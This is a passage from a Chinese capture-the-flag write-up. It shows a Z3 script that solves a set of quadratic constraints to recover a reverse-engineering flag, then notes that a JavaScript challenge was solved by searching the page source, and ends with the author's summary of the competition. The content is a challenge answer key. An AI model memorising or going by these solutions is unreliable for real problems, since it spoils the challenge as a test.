solver.add(6 * (x[0] * x[20]) + 10 * (x[17] * x[29]) - 9 * (x[2] * x[7]) + 6 * (x[21] * x[22]) - 10 * (x[21] * x[33]) - 9 * (x[21] * x[34]) - 8 * x[26] * x[26] + 8 * (x[3] * x[36]) + x[30] * x[8] + 5 * (x[33] * x[8]) - 2 * x[33] - 3 * x[34] * x[34] + x[35] + 6 * (x[36] * x[9]) + 6904 == 0)
solver.add(10 * (x[0] * x[5]) - 3 * x[1] + 2 * (x[10] * x[26]) + 10 * (x[11] * x[23]) + 10 * x[13] * x[13] - x[14] * x[5] + 2 * (x[14] * x[8]) + 8 * (x[15] * x[20]) + 3 * (x[15] * x[21]) - 10 * (x[15] * x[8]) - 6 * (x[18] * x[2]) + 7 * (x[19] * x[24]) - 7 * (x[2] * x[24]) + 4 * (x[2] * x[28]) - 4 * (x[2] * x[5]) + x[21] * x[21] - 6 * x[26] * x[26] - 6 * x[32] * x[32] + 2 * (x[33] * x[8]) - 9 * (x[34] * x[9]) + 7 * x[5] * x[5] - 10 * x[7] - 99502 == 0)
solver.add(-4 * (x[10] * x[26]) - 8 * (x[12] * x[32]) - 10 * (x[14] * x[29]) - 7 * (x[24] * x[9]) + 10 * (x[28] * x[32]) - 6 * (x[28] * x[34]) + 2 * x[28] - 8 * (x[36] * x[4]) + 182526 == 0)
solver.add(-x[1] * x[8] - 9 * (x[10] * x[32]) - 6 * (x[11] * x[33]) - x[13] * x[22] + x[14] * x[32] - x[15] * x[32] + 7 * (x[17] * x[24]) - 4 * x[19] * x[19] + 8 * (x[2] * x[5]) + 3 * (x[20] * x[6]) + 10 * (x[21] * x[7]) - 6 * (x[26] * x[5]) - 9 * (x[34] * x[8]) - 10 * (x[35] * x[36]) + 110094 == 0)
solver.add(-5 * (x[12] * x[24]) - 9 * (x[16] * x[18]) - 6 * (x[16] * x[22]) + 2 * (x[16] * x[36]) - x[17] * x[3] + 6 * x[17] - 2 * (x[18] * x[4]) + 2 * (x[19] * x[28]) - 6 * (x[23] * x[37]) - 2 * (x[25] * x[29]) - x[26] * x[30] + 7 * (x[28] * x[7]) + 9 * (x[29] * x[5]) - 2 * (x[30] * x[32]) + 4 * (x[30] * x[33]) + 6 * x[31] * x[31] - 4 * (x[34] * x[35]) + 110939 == 0)
solver.add(-2 * (x[0] * x[24]) + x[0] * x[36] - 10 * (x[1] * x[26]) - 8 * (x[10] * x[7]) + 2 * x[10] - 6 * (x[11] * x[37]) + 10 * (x[2] * x[33]) - 4 * x[2] + x[20] * x[25] - 5 * (x[21] * x[24]) - 8 * (x[25] * x[32]) - 2 * (x[28] * x[6]) - 10 * (x[3] * x[35]) + 6 * (x[32] * x[34]) + 8 * (x[5] * x[9]) + 211248 == 0)
solver.add(-4 * (x[11] * x[7]) + 3 * (x[12] * x[3]) - 6 * (x[12] * x[5]) - 10 * (x[13] * x[14]) + 10 * (x[14] * x[24]) + 7 * (x[16] * x[8]) - 2 * (x[17] * x[22]) + 8 * (x[2] * x[21]) + x[25] * x[37] + 3 * (x[25] * x[4]) - 7 * (x[26] * x[34]) - 2 * x[27] * x[27] - x[27] * x[37] + 8 * (x[27] * x[6]) + 7 * (x[4] * x[9]) - 52034 == 0)
solver.add(-x[0] * x[15] - 2 * (x[0] * x[18]) + 6 * (x[0] * x[9]) - 7 * (x[1] * x[34]) - 7 * (x[11] * x[8]) + 8 * x[14] * x[14] + 7 * (x[14] * x[29]) + 4 * (x[18] * x[34]) + 4 * (x[23] * x[27]) + 9 * (x[24] * x[30]) - x[3] * x[34] + x[30] * x[5] - 5 * (x[31] * x[34]) - 7 * (x[7] * x[9]) - 3 * x[9] - 46825 == 0)
solver.add(-6 * (x[1] * x[23]) + x[10] * x[18] - 8 * (x[12] * x[14]) + 3 * (x[13] * x[37]) - 3 * (x[15] * x[24]) + 3 * (x[18] * x[21]) + 9 * (x[22] * x[31]) + 8 * (x[26] * x[8]) + 10 * x[3] * x[3] + x[31] * x[33] + 6 * (x[4] * x[7]) - 197975 == 0)
if solver.check() == sat:
# 获取模型
model = solver.model()
# 打印所有变量的解
solution = []
for i in range(38):
val = model[x[i]].as_long()
solution.append((i, val, chr(val))) # 存储索引、数值和对应字符
# 按格式打印结果
print("找到满足条件的解：")
for idx, num, char in solution:
print(f"x[{idx}] = {num} (ASCII: '{char}')")
# 也可以打印为连续字符串
flag = ''.join([chr(model[x[i]].as_long()) for i in range(38)])
print("\n拼接后的字符串：")
print(flag)
else:
print("未找到满足所有约束的解")
这个约束方程R7处理器跑了100%跑了半小时
南坪
笑了
拼接后的字符串：
flag{b79e08ddaaab41356a468d271a5e3435}
二十二.js逆向
我是真没写出来不过后期看到的
这re题目直接给web都嫌弃简单，无语了
下完一个html
打开html
搜索f1ag
这题目你为什么要放re里呢》？请问
我以为很难到最后没写出来我以为要看JavaScript
你跟我说f12直接出？？
所以呢？why？
结语
这次御网密码杂项webAK
re差一个
pwn差两个
总体来说难度re和pwn较难
整体水准很适合有学习但未彻底深入师傅们。
评论（0）
暂无评论